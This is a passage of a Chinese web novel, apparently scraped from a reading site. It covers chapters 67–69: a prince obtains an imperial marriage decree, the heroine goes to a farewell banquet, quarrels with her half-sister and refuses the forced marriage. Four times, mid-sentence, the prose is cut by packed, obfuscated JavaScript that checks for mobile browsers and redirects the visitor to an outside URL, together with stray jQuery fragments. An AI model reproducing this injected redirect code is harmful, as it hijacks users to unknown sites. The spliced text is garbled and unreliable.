皇帝的声音听起来有一种腐朽的苍老，喉咙里也总是发出“嗬嗬”的痰音，不过他说话还算是流畅，听起来甚至很有几分力气。 穆衾寒站在原地不动，身影在寥落的烛光中显得格外高大挺拔，他就这样盯着皇帝看了一会儿，然后催促他：“别废话了，看完了就盖章，明天上午我就要颁旨。” 一双枯骨般的手从明黄的锦被下伸出，皇帝接过蛊女递来的圣旨，只扫了一眼便嚷嚷起来：“赐婚的圣旨？你两个月没来看我，也不告诉我朝中发生了什么事情，今天一来就让我给你赐婚？” 穆衾寒的唇角微不可察地上扬了一下：“还有力气嚷嚷，看来还可以多活几年。” 便在此时那蛊女抬起苍白得近乎透明的双手，指尖似有若无地悬在皇帝的身体上方，仿佛牵引着无形的丝线。片刻之后，一只黑色的虫子从皇帝的鼻中钻出，静静地在他的脸上停留了一会儿，然后僵硬地坠了下去。 与此同时，又有一只虫子从蛊女的衣袖中飞出，飞快地钻入了皇帝的鼻子里。 眼前这一幕像极了一场神秘的交接仪式。 在旧的虫子钻出来而新的蛊虫还没有进入身体的时候，皇帝突然大口地喘着气，每一次呼吸都显得艰难而短促，直到新的虫子钻入了他的鼻中，他的呼吸才渐渐平缓下来。 他本是将死之人，全靠那奇特的蛊虫吊着最后一口气。 待皇帝彻底恢复了力气，那蛊女才将手收了回来，然后她无声地望了穆衾寒一眼，眼中的意味很明显。 不能让皇帝情绪激动，每换一次虫子他就少一口气。 躺在床上平复了半天，皇帝才重新开口问道：“你连旨都拟好了，还要我盖什么章？自己盖不就成了？” 他这话很有几分赌气的意思，见穆衾寒没有回话，他又自顾自地道：“就算你非要给她脸面，非要赐婚不可，行，我可以盖章。但我问你，你为什么一定要娶一个商户女？她这样的出身，做侧妃都够呛的，你还要她做你的定远王妃？” 等到皇帝一口气将他的问题都问完，穆衾寒才缓缓道：“皇兄，正是因为我看重她，非要她做我的王妃不可，所以才来找你过目。” 他的目光落到皇帝手中的那道圣旨上，“成亲那日你是不能来了，她的家世生辰包括样貌品性都写在圣旨上。” 他那一声皇兄唤得情真意切，自从成年之后，他便再也没有用这样的语气唤过他了。 皇帝沉默了。 沉默了好一会儿，他重新拿起圣旨，又从头到尾认认真真地看了一遍，然后略有些沉痛地道：“但你这圣旨上都快把她夸成一朵花儿了，我看不到一点真实有效的信息。” 穆衾寒知道，他这样说其实便是允了。 又是一阵长久的沉默。 然后皇帝朝穆衾寒伸出了手。 穆衾寒将早已准备好的玉玺递上，亲眼看着他在那道圣旨上盖上了章。 皇帝喘了几口粗气，喉咙里再一次发出嗬嗬的怪响，如此过了好一会儿，他才慢慢缓过来，紧接着他问出一个最为关键的问题：“你执意要娶她，让她成为你的王妃，也就是成为前朝后宫的众矢之的。你……护得住她吗？” 皇帝似乎是在苦笑，然而他的唇角费力地牵动着枯槁的面皮，终究是因为太过虚弱而无法做出什么表情。 他轻飘飘地问出这一个问题，但这问题的分量却重逾千斤。 穆衾寒不会不明白，若真的成为了他的正妃，沐毓露商户之女的身份在这波谲云诡的朝堂与后宫之中，本就是最大的靶子。 皇帝的声音继续在阴冷的寝宫响起：“你不要走我的老路，不要像我一样、像我一样让心爱的女子……” 话还没有说完，他便重重地咳了起来。 蛊女又一次向穆衾寒投来一个目光，于是穆衾寒便知道，今日同他见面的时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582411|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差不多到了。 穆衾寒沉默了片刻，认认真真地将盖了章的圣旨收好，然后再次抬眼望向皇帝。 他的目光很深邃，仿佛越过了躺在床上垂死的兄长，穿透了重重的宫墙，望见了不远的过去与未来。 紧接着他微启双唇，声音低沉而清晰，带着一种不容置疑的坚定：“她曾告诉过我不做他人妾，我若想要娶她，便只有让她成为王妃，既只能让她成为王妃，那便一定会护她无虞。” 一声破碎的笑从皇帝干裂的唇中溢出：“不做他人妾？倒是个有志气的女子。” 他问了穆衾寒最后一个问题：“我很好奇你到底喜欢她什么？竟能为了她做到如此地步？” 穆衾寒回答得很快，他几乎是不假思索地道：“我从未见过像她这样有生命力的人，只有看见她的时候，我才觉得自己依然活着。” 皇帝听到这句话之后怔了怔，似乎也想起了往昔记忆中的什么人，过了许久他才缓缓点了点头：“有生命力的人……是啊，是啊，有生命力，这宫里的一切都是腐朽的，而她有生命力……” 蛊女在这时抬手示意，几个宫人上前，再次将重重叠叠的帐幔合上，熄灭了角落里的灯盏。 偌大的寝殿顿时重新归于黑暗。 穆衾寒在床前伫立了片刻，转身欲走，忽然听见帐幔之后的人道：“照顾好鹤明，这是我唯一的心愿。” 穆衾寒顿了顿步子，“你多活一日，他的日子便好过一日。” 说完这句话他抬步离开，沉稳的脚步声逐渐消失在了殿外。 穆衾寒本不是心急之人，他的心思原本也的确如沐毓露所猜测的那般，在他眼里她就如同一朵花儿，或是一只蝴蝶，在阳光下恣意地绽放着舞动着，她也许会给他找一些麻烦，但无论如何不可能离开这里。 可是三州堇璱的出现让他产生了一种前所未有的危机感，准确来说是沐毓露对待三州堇璱的态度，他们二人的相处，每一个举动都令他觉得刺眼。 他必须立刻将这朵花儿移植到自己的花园里，这样就不会有人再觊觎她了。 这道赐婚的圣旨一大早就从宫里发出，宣旨的宫人马不停蹄赶到沐府，然而彼时沐毓露恰好不在府中。 她和风问棠一起去赴齐知止的践行宴了。 前来接旨的是沐玉罡夫妇。 宫人宣读圣旨的时候他们两个人的嘴角都快咧到天上去了，等到圣旨宣读完毕，沐玉罡喜不自胜地双手接过，又是叩谢天恩，又是打赏宫人，忙活了好半晌才想起来去找沐毓露。 得知沐毓露一早便往天下第一楼去了，沐玉罡又急又气地吼道：“还不赶紧去把她给我叫回来！马上都是要成亲的人了，还这样不知检点，在外面到处乱跑！” 下人们忙不迭地应着，正要出门去找沐毓露，却被沐昭氏叫住。 她冲身旁的沐晚意使了个眼色，“这样好的消息，自然要家里人去告诉她，你现在便赶过去吧，亲口告诉姐姐这个好消息。” 沐晚意也笑得开心，当即答应下来，领着人便往天下第一楼去。 67. 第67章 沐毓露作为这门亲事的主角，却是对这件事情一无所知，此刻她已经和风问棠一起抵达了天下第一楼。 关于三皇子生辰宴上的那一场风波，他们二人默契地一个字都没提。 沐毓露没有询问风问棠的真实身份，没有问他那晚怎么会出现在宫中，和三皇子又是什么关系。风问棠也没有问她那天晚上和三州堇璱去了哪里，是如何逃出生天的，如今三州堇璱又去了何处。 两个人一路上只是谈论着有关齐知止的话题，讨论着他此番去玄武国要做什么生意，顺便推测一下玄武国那场举世瞩目的皇位之争什么时候才能落下帷幕。 抵达天下第一楼之后，齐知止亲自出来迎接，引着他们去了顶楼一处可俯瞰京城风光的雅间。 今日前来赴宴的还有他们的共同好友徐行之，以及齐知止的亲妹妹齐知秋，沐毓露和风问棠一进去便发现他们两人已经在房间里等着了。 本来齐夫人是不许齐知秋出门的，不过今日的宴席毕竟是齐知止的践行宴，吃了这顿饭他就要离开朱雀国了，此番远行没有三五个月是回不来的，因此在齐知止和齐知秋共同的死缠烂打下，齐夫人终于还是松了口，放齐知秋出门了。 在雅间见到沐毓露之后，徐行之和齐知秋同时站了起来。 徐行之身形一动，抢在齐知秋之前晃到了沐毓露的面前，“原来这便是常听知秋妹子提起的沐大小姐？果真是国色天香，秀丽端庄。” 他这番恭维的话还没有说完，齐知秋便冲过来给了他后脑勺一巴掌，“少在沐姐姐面前来这套，把你那些花花肠子都给本小姐收回去！” 徐行之当即捂着后脑勺跳到了齐知止的身后，“齐兄，你还是管管你妹妹吧，她都快变成母夜叉了，以后可怎么嫁得出去？” 齐知秋一听这话更加来气，冲过去又要打他，“本姑娘嫁不嫁得出去关你什么事？就算我一辈子都嫁不出去也跟你没关系！” 徐行之一边躲闪着避开齐知秋的巴掌，一边还忙里偷闲地冲她扮鬼脸，气得齐知秋又是一顿破口大骂。 这两个活宝就这样绕着齐知止转圈儿，一旁的风问棠尝试劝架，然而拉住了这个拉不住那个，场面变得更加混乱。 齐知止和沐毓露站在原地，隔着正在打闹的几个人相视一笑。 望了一眼窗外的天色，沐毓露对他道：“答应过亲手为你做菜践行的，你们且在这里等着吧，我去厨房为你做两道菜。” 听见这话，正在跟徐行之打追逐战的齐知秋停下了步伐，转头跑到了沐毓露的身边，“那我去帮你备菜。” 不待沐毓露开口，她气鼓鼓地说：“上次入宫献菜你自己一个人急匆匆地就去了，这次可不许拒绝我了。” 见她撅着嘴的样子实在可爱，沐毓露忍不住揪了揪她的脸：“有人来帮我，我高兴还来不及，怎么会拒绝？” 一旁的徐行之刚歇下来，立马又开始挑拨离间，他用扇子敲了敲齐知止的胳膊，用刻意压低了但其实所有人都听得见的声音道：“你看看你看看，这小丫头在沐小姐面前和在我们面前完全是两副面孔，她前段时间还一直跟我说想要个姐姐来着，特惋惜你是个哥哥。” 齐知秋啧了一声，攥起拳头在空中威胁地挥舞了一下，“徐行之，你不说话没人拿你当哑巴。” 徐行之又开始挑衅地冲她扮鬼脸。 眼看着两人又要打起来，沐毓露赶紧拉着齐知秋往楼下走。 不过事实也的确如徐行之所言，齐知秋方才在楼上还呲牙咧嘴的，此刻跟沐毓露一起待在厨房，倒是乖巧得不得了。 她一边帮沐毓露备菜，一边用郑重其事的口吻道：“沐姐姐，我问你一个问题，你必须要如实地回答我。” 沐毓露难得见到她露出这样一副郑重其事的表情，有些好奇地眨了眨眼睛，“想问什么就问吧，我一定如实回答。” 齐知秋直接开口问她：“我想问你对三州堇璱是什么感觉？你喜不喜欢他？” 沐毓露愣住了，她在灶台前愣了好一会儿才回过神来。 她没有立即回答齐知秋的问题，而是反问她：“怎么突然问这个？我喜不喜欢他……是什么很重要的事情吗？” “当然重要啦！”齐知秋提高了声音，认真地点了点头，“你若是不喜欢他，那我可就要去追他了。” 沐毓露有些啼笑皆非地问：“那我要是喜欢他呢？” 齐知秋长长地叹了口气：“你若是喜欢他的话，那我就只好忍痛退出啦。谁让你是我的沐姐姐呢？妹妹是不会跟姐姐抢喜欢的东西的。” 沐毓露点了点她的额头，“你这丫头真是人小鬼大，你才只见过他一次，知道什么是喜欢什么是不喜欢吗？” 齐知秋认真地思索了一下这个问题，然后回答道：“我看见他的时候心脏都漏跳了一下，这不是喜欢是什么？” 说完她催促着沐毓露：“沐姐姐，我是当真的，你也认真地回答我好不好？你到底喜不喜欢他？” 沐毓露沉默了。 她告诉齐知秋她要好好地想一想，然而两道菜都出锅了，她还没有想出个结论来。 见沐毓露忽而露出茫然的表情，忽而又不自知地扬起唇笑，齐知秋替她做出回答：“我知道了，你也是喜欢他的。” 紧接着她一本正经地道：“我就知道你也喜欢他，不然怎么可能舍命救他？既然你也喜欢他，那我就退出了。放心吧沐姐姐，我是绝对不会同你抢的。” 听见齐知秋如此说，沐毓露一时间有些慌乱，她既想反驳齐知秋，想证明自己并没有对三州堇璱动心，又不知该从何处反驳。 齐知秋则在一旁自顾自地道：“沐姐姐你知道吗，在见到三州堇璱的真容之前，我是一直支持哥哥和你在一起的。偏偏那天晚上让我见到了他面具底下的那张脸，你都不知道我有多惊艳，我突然就觉得哥哥配不上你了。你长得这么好看，也该有一张同样好看的脸来相配才行……” 眼见着齐知秋的话越说越不着调， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586470|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沐毓露赶紧打断她：“你可别拿你哥打趣了，以后这种话也不许再说。” 齐知秋撅了撅嘴巴：“你怎么跟我母亲一样啊，一听到我说这些话就如临大敌？” 她叹了口气：“罢了，母亲还总以为你对哥哥有什么非分之想，她都不知道她错过了一个多么好的儿媳妇。” 沐毓露恨不得上前捂住她的嘴，好在她说完这句话就转移了话题：“哥哥要在玄武国待好几个月，我过段时间也要去玄武国了，可真是舍不得你。” 沐毓露好奇地问：“你去玄武国做什么？” 齐知秋颇有兴致地道：“听哥哥讲玄武国有一位博学多识的女先生，她开了一间只有女子才能就读的学堂，我很感兴趣，就求着父亲母亲让我也去学堂体验一下。” 她帮沐毓露端起其中一道做好的菜，一边往楼上走一边继续道：“你猜怎么着，我同母亲讲起这件事情的时候才知道，原来那位女先生就是母亲的师妹，听说她继承了她们师父所有的衣钵，这世上简直就没有她不会的东西。” 齐夫人的师妹？ 就是那个名唤徐在野的女子，这世上唯一能解寒毒的人。 沐毓露想起那日齐夫人对她说的话，低着头陷入了沉思。 两人就这样在齐知秋叽叽喳喳的说话声中回到了雅间。 见到她们回来，徐行之十分殷勤地凑了过来，讨好地从沐毓露手里接过菜盘，“怎么能让姑娘家端菜呢？我来端我来端。” 齐知秋在一旁冲他吹胡子瞪眼，“我也是姑娘家，你怎么不来帮我端菜？” 徐行之存心逗她：“像沐小姐这样端庄大方的才是姑娘家，像你这样的就是个母老虎！” 齐知秋气得直跺脚，一旁的齐知止和风问棠赶紧圆场，一同起身朝她走过去，伸出手要接过她手中的盘子。 却都被她用胳膊肘推开，“我今天就非要让他徐行之来给我端盘子，别的人都不行。他要是不来给我端，那我就不上桌了，你们吃饭我就在这儿端着盘子站着，看他好不好意思！” 齐知止和风问棠同时转过头，齐齐地瞪了徐行之一眼，徐行之顶着压力站起身来，讨好地冲齐知秋笑：“姑奶奶，我这是跟你闹着玩儿呢。” 说着他点头哈腰地接过了齐知秋手里的盘子，“我们齐大小姐何许人也？那是闺秀中的闺秀，贵女中的贵女，若说你都不是姑娘家，那整个朱雀国就没有姑娘家了。” 齐知秋本来气鼓鼓地瞪着他，下定决心不管听见他说什么都不要笑，她绝不原谅他，然而在听见徐行之那番油嘴滑舌的话后，她下一秒就笑出了声来。 徐行之见她笑了，连忙邀她入座：“今天这场践行宴，除了你哥，你就是主角，主角不入座怎么成？” 见徐行之三言两语就把齐知秋哄好了，齐知止和风问棠也笑着重新落座。 沐毓露坐在座位上，安静地注视着眼前这热闹的一幕，眼中满是笑意，同时还有一抹连她自己都没有察觉到的艳羡之意。 68. 第68章 原来这便是亲朋好友间最寻常的欢乐，她居然直到现在才体会到。 齐知止注意到了沐毓露眼中闪过的一丝艳羡，他没有立马说什么，而是等到宴席过半时才装作随意地邀请她：“等齐家的生意在玄武国站稳脚跟，玄武国的局势也稳定下来之后，沐小姐便来玄武国找小妹游玩一段时间吧？” “她过些日子也要去玄武国的学堂读书，我怕她不习惯，若是有熟悉的人陪着她，或许会好些。” 齐知秋当即拉住沐毓露的衣袖，一口就替她答应下来：“好啊好啊，沐姐姐来陪我，我就不怕不习惯了。” 说完她又转头诱惑沐毓露：“而且你不是对我要去读书的学堂很感兴趣吗？到时候我求一求母亲，让她也跟先生去说一说，说不定你也能进学堂体验一段时间呢？” 听到这里徐行之也来了兴致：“你们说的可是玄武国那个大名鼎鼎的其野学堂？据说创办学堂的是一位博学广识的女先生，而且她还明文规定学堂只收女学生？” 齐知秋得意地哼了两声：“这位女先生可是我母亲的师妹，她知道的东西可多了，怕是比天下的男子都要厉害！” 徐行之肃然起敬，当即附和道：“那这个热闹沐小姐你可真要去凑一凑，比男子还要厉害的女先生，放眼全天下也找不出多的来。不过她这个学堂若是能长久地发展下去，以后这样的女子说不定会越来越多。” 齐知秋望了徐行之一眼：“你方才那番话是今天这一整顿饭吃下来唯一一句我听着顺耳的话。” 徐行之的笑容瞬间凝固在了脸上，其余人则哈哈大笑。 一顿践行宴就这样在几人的说笑打闹中结束了，转眼间就到了出发的时辰，齐知止必须要动身了。 几人一同起身相送，然而刚打开房门，便见到对面的雅间走出来两个人。 这两人似乎是听到他们房间的动静后才出来的，出门之后径直朝着他们的方向走过来。 现在轮到沐毓露的笑容凝固在脸上了。 来人正是她的倒霉妹妹沐晚意和倒霉姨娘蒲昭氏。 齐知止瞬间就注意到了沐毓露脸上表情的变化，在沐晚意两人走过来时，他不动声色地将沐毓露护在了身后。 沐晚意在见到齐知止时努力挤出一个温婉的笑容来，然而在看见他下意识护住沐毓露的动作时，那笑容变得比哭还难看。 分明是在笑着，眼中的妒意却已经快要溢出来了。 她款款行至齐知止面前，优雅地行了一个礼。 这回便连齐知秋都感受到了沐晚意和沐毓露之间的不对付，她抬手亲昵地揽住沐毓露的胳膊，带着她就想往楼下走：“沐姐姐，送完哥哥之后我们去茶楼吃果子吧？听说京城茶楼新来了一批话本子，写得可有意思了。” 沐晚意侧过身子，挡住了齐知秋二人的去路，站定之后，她又冲着齐知秋盈盈一拜：“齐小姐，我是来找姐姐的，今天她怕是不能陪你去茶楼吃果子了。” 齐知秋眉头一皱正要开口，却被沐毓露拦住。 她先是转首对齐知止道：“我这里没事，齐公子你先走吧，别耽误了出发的时辰。” 然后又对齐知秋道：“我们还有一些事情要谈，过些日子再陪你去茶楼听书。” 齐知秋不放心地握了握她的手，齐知止也垂首担心地望着她，见沐毓露笑着冲他们摇了摇头，兄妹二人这才和徐行之一起下楼了。 风问棠却仍旧留在原地，“大小姐，你和二小姐就在这里聊，结束后我送你们回去。” 方才人多，蒲昭氏没敢插话，等到齐知止他们几人走了，她才又开始嚷嚷起来：“不过就是小姐妹说几句话，什么了不得的事情，又要被人防着又要有人守着，没那么娇贵哈。” 她斜睨了风问棠一眼，“再说了，你是沐家老爷的贴身护院，天天守着沐府的小姐算怎么回事儿？她毕竟是还没有出阁的小姐，你这样守着她，她还要名声不要了？” 沐毓露在这时开口道：“姨娘，他护送我和二小姐回府本是天经地义的事情，怎么从你嘴巴里说出来如此不堪？” 蒲昭氏一副受了天大的委屈的样子，转头可怜巴巴地瞅着沐毓露：“小露，姨娘可是为了你的名声着想，你也是这么大的人了，又是做姐姐的，可不能不知好赖呀。” 沐晚意在旁边冷哼一声：“她还记得她是谁的姐姐么？早跑到齐府去做别人的姐姐去了。” 风问棠听到这里忍不住皱了皱眉。 又是这样夹枪带棒的话。 沐府里的人好像都不会同人正常交流，一张口不是酸就是臭，就连他都忍受不了，也不知道沐毓露是怎么忍下来的。 不过此刻沐毓露显然也是不想忍了，她将雅间的门推开，往里面走了两步，然后转头对沐晚意道：“你不是有话要同我讲么？那就进来单独聊聊吧。” 说完她抬头望了蒲昭氏一眼，“还请姨娘跟风护院一起在门口守着，也好多个人在这里看着，免得将来有人议论沐府女儿行为不端。” 说完她转身进了房间，等沐晚意也跟进来之后，抬手关上了门。 此刻房间里只有她和沐晚意两个人。 长这么大，这姐妹二人居然是第一次在没有外人的情况下单独相处。 沐毓露望着眼前这张与自己有几分相似的脸，语气不自觉缓和了两分：“你我是亲姐妹，有什么话关起门来说，何苦要让别人看笑话？” 之前沐毓露在沐府发疯，沐晚意显然到今天都心有余悸，面对沐毓露的时候她其实有些心虚，此刻高高地将头昂了起来，那模样倒像是在给自己打气。 她用眼角望着沐毓露，“你说的别人指的是蒲姨娘还是齐公子？” 她终究还是年轻气盛，语气里酸溜溜的味道一下子就暴露了自己的小心思：“姨娘是母亲的亲妹妹，跟我们的关系是一样的，同我们是一家人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593400|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。而齐公子和齐小姐呢？他们恐怕才是外人吧。” 沐毓露心平气和地道：“所以我没有在他们面前说什么，方才也不想让他们插手。” 沐晚意又是一声冷笑：“是吗？你敢保证你没有在他们面前说过我一句坏话吗？要是你真的没有在他们面前搬弄过是非，他们方才又怎么会一见到我就一脸的防备？” 沐毓露也笑了，那笑容却很是无奈，“麻烦你现在立刻去照一照镜子，看看现在自己的表情是什么样子。你方才一看见我就一副要把我生吞活剥了的表情，人家能不防备你么？” 沐晚意眼珠子转了转，似乎是在极力调整自己的表情，不过只调整了一会儿她就作罢。 转而对沐毓露道：“你以为你的表情就很好看吗？我才是你的亲妹妹，你看我的眼神还不如看齐小姐亲密，果然母亲说的没错，你就是一个胳膊肘往外拐的白眼狼。” 沐毓露点了点头，“你成天在母亲身边腻歪着，只学了这么几句骂人的话？我是白眼狼那你是什么，只会躲在母鸡身后的一事无成的小瘟鸡？” 沐晚意气得想要打她，手刚扬到空中便被沐毓露一把攥住。 “就你这点力气还想打人？”沐毓露一把甩开她的手，“连刀都拎不动吧？” 沐晚意揉了揉手腕，瞬间就红了眼眶，“你居然敢对我动手？回去我就告诉母亲！” 沐毓露挑了挑眉，一副无所谓的样子。 眼见着这些话刺激不了她，沐晚意揉了揉眼睛抽抽嗒嗒地指责道：“真是没有想到你的脸皮竟然这么厚，怪不得在外面的名声这么臭。” 沐毓露又挑了挑眉，“我的名声有多臭，你说来听听？” 沐晚意哽咽着擦了一下眼泪，“你不知道现在京中的闺秀们都说你水性扬花，成天在不同的男人面前搔首弄姿么？” “我本来还不大相信，今天才算是真的见了世面了。方才那一桌吃饭的人，除了齐小姐之外哪还有一个女子？人家齐小姐是齐公子的亲妹妹，你又是人家什么人？” “从来没有听说过哪个未出阁的正经小姐会青天白日的同一群男子一桌吃饭，即便是堂兄弟表兄弟尚且要有所忌讳，在家中吃饭都要分席而坐，你可倒好，我看你是巴不得坐到齐公子的腿上去吧？” 说了这么多她还不解气，红着脸带着哭腔继续道：“你是不是觉得自己很有魅力啊？不管是摄政王爷还是经商奇才，他们都拜倒在你的石榴裙下？哦对了，还有一个武功天下第一的江湖高手，也围着你团团转。” “你是不是以为自己是话本子里的主角，可以成天游走于不同的男人之间？是不是以为你只要向他们撒一个娇就什么都有了？这些男人就巴不得立刻把全天下最好的东西都给你？” 沐毓露安静地听沐晚意说完这一大堆，然后她似是在思索着什么，沉默了许久才缓缓开口：“你问了我这么多问题，我也有一个问题想要问你。” 69. 第69章 沐毓露的眼眶也红了，不过她的声音依旧平静，不似沐晚意那般气急败坏：“你方才说我成天游走于不同的男人之间，这句话说得没有错，我不反驳。” 她扯着嘴角苦涩地笑了笑：“但是如果我有得选择，我宁愿游走于不同的女人之间，也不愿意在不同的男人之间周旋。你以为同男人打交道是一件很愉快的事情吗？” 她这话像是说给沐晚意听，又像是说给自己听：“我也想问，为什么你口中的摄政王爷也好，经商奇才也罢，还有那个武功天下第一的江湖高手，他们为什么都是男人？” 她的语气虽轻，却是掷地有声：“这些身份为什么不能是女人？倘若这些位高权重的人都是女人，我的日子恐怕会过得比今天轻松得多，至少在与她们正常交往的时候不会被人在背后议论是一个水性扬花的女人。” 说出这番话的同时她想到了方才徐行之在饭桌上说的话，他说除了那位女先生之外，比男子还要厉害的女人全天下也找不出多的来。 但若是学堂能够发展下去，这样的女人也许会越来越多。 她突然间就明白了齐夫人的师父在做些什么，也明白了她的师妹所创建的那座学堂只收女学生的原因是什么。 男人们都有读不完的经史子集，总有说不完的长篇道理，而反观女子，女子们的识字之路才刚刚开始而已。 倘若能有越来越多的女子成为位高权重之人，那么全天下女子的日子都会好过得多。 玄武国未来的女帝便是活生生的例子。 她这番话点醒了她自己，却显然没有点醒沐晚意。 沐晚意不可置信地瞪着沐毓露，全然没有听明白她到底在讲些什么：“摄政王爷不是男的难道还能是女的？女子天生体弱，本就不如男子，且见事也不如男子那般周全，就算是习武或者经商，那也是比不过男子的，我真不知道你在说些什么？” 面对这些质问，沐毓露都不以为意，她也完全没有同沐晚意争辩的心思。 她沉浸在一种幡然醒悟的狂喜之中。 原本她只有一个模糊的想法，那就是逃离沐府逃离京城，在一个没有沐家人也没有穆王爷的地方自由地生活。 可是到底要怎么活，为了什么而活，她的心中一片茫然。 但是就在刚才，她有了一个明确的目标。 那就是入学堂读书。 她要去玄武国，去齐知秋所说的那个其野学堂，她要拜徐在野为师，要读书要明理。 然而她心中的这团火才刚刚烧起来，下一秒就被沐晚意所说的话浇灭了：“怪不得父亲常说你是个疯子，你果然时不时就要说一些让人听不懂的疯话。眼看着都是要成婚的人了，居然还是这副样子。” 沐毓露愣住了，“什么眼看着要成婚？谁要成婚？” 方才不管沐晚意如何说她，她都一副波澜不惊的样子，此刻听见自己要成婚的消息，她终于是慌了神。 沐晚意自然也瞧出来了她情绪的变化，意识到只有这件事才能够真正打击到沐毓露，她说话的腔调都变了：“东拉西扯说了这么久，我差点都忘了，妹妹今日前来是祝贺姐姐新婚之喜的。” 沐毓露心中大骇，紧紧地攥住双拳让自己保持镇定。 只听沐晚意慢悠悠地继续道：“姐姐再过几日就要成为定远王妃了，这可是令全京城女子都艳羡的婚事，而且这门亲事还是圣上亲自赐婚，旁人求都求不来呢。” 见沐毓露的神情已经有些恍惚，沐晚意赶紧添了一把火：“对了，圣上催得急，成婚的日子就定在五日后，时间可快得很……” 不待沐晚意将剩下的话说完，沐毓露便夺门而出。 五日后。 再过五日她就要嫁给穆衾寒，再次回到那个对于她来说不见天日的穆王府。 她没有想到这桩祸事来得这么快，快得远在她的意料之外。 匆匆忙忙地往沐府赶的时候她拼命让自己冷静下来，一边深呼吸一边思索可行的对策。 然而在回到沐府之后，看见阖府上下张灯结彩敲锣打鼓的场面之时，她刚才平静下来的情绪瞬间又被点燃了。 沐昭氏和王姨娘奉命在大门口守着，见到沐毓露回来，她们一前一后拥了过来。 王姨娘喜笑颜开：“恭喜我们大姑娘得了一门好亲事，而且还是圣上赐婚，这可是天家颜面。” 沐昭氏阴阳怪气：“你这孩子也是不让人省心，自从前次抛了绣球之后我和你爹天天忧心你的婚事，生怕你又坏了名声嫁不出去，如今可好，穆王爷竟然还肯要你。” 沐毓露抬起眼在她们的脸上一一扫过，然后掠过她们一言不发地往府里走去。 府里的下人早已向沐玉罡通报了她回来的消息，此刻沐玉罡就在正厅的门口等着，一脸欢喜地望着沐毓露，脸上的肉简直都快要挤到一起去了。 沐毓露越过人群，径直走到他的面前，然后扑通一声跪下，“女儿不嫁。” 沐玉罡的笑容僵硬在了脸上。 他先是左右张望了一下，很没有面子地抬起手摸了摸自己的鼻子，然后装模作样地在空中虚扶了沐毓露一把，“你这孩子干什么呢？都是要做定远王妃的人了，还这般不成样子，快点起来，别让下人们看了主子的笑话。” 沐毓露倔强地跪在原地，抬起头定定地盯着沐玉罡，再次掷地有声地说了一句：“女儿不嫁！” 沐玉罡顿时就愤怒了，他几乎是跳起来冲沐毓露吼道：“你不嫁？那好，那让我们全家去死吗？” 他这一声怒吼可以说是吼得地动山摇，吓得所有人都颤抖了一下，屋檐底下挂灯笼的侍女停下了手中的动作，院子里吹拉弹唱的乐人也放下了手里的乐器。 所有人都将目光投向了院子中央对峙的沐玉罡父女身上。 也许是顾及到穆衾寒，又或许是考虑到沐毓露嫁进穆王府之后就会摇身一变成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16598228|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为定远王妃。沐玉罡第一次在沐毓露面前压下了心中的暴怒，深呼吸了几次之后用尽量和缓地语气劝她：“算是当爹的求你行不行？不要再闹了。” “你和穆王爷的婚事乃是圣上赐婚，不是爹逼着你嫁给他，你若是不嫁，那就是抗旨。我问你，抗旨的罪名你担不担得起？就算你不怕死，那我再问你，你真忍心连累沐府满门，让沐家几十口人陪你一起送死？” “不管怎么说，爹养了你十几年，不求你有出息报答爹娘的生恩养恩，但求你不要将祸事引到沐府头上，给你的爹娘和妹妹们一条生路吧，这很难吗？” 说着他走下台阶，走到沐毓露面前，弯下腰想要亲自扶起她，“那穆王爷是何等的身份又是何等的地位？能嫁给他做正妃那是你三生修来的福气，赶紧起来，不要再胡闹了，爹和娘会给你备上厚厚的嫁妆，让你风风光光地嫁过去。” 他的双手握住了沐毓露的胳膊，却是怎么也不能将她拉起来。 沐毓露使尽了浑身的力气，说什么也不肯起，“父亲，我还是那句话，我不嫁。您若是担心因此连累沐府，可以现在就绞了我的头发把我送到山上当姑子去，或者您现在就毁了我的容，我没了这张脸，穆王爷想必也不肯让我做他的王妃了。” 她实在是被逼上绝路了，否则也不会说出这样自弃的话来。 沐玉罡气得直接给了她一耳光。 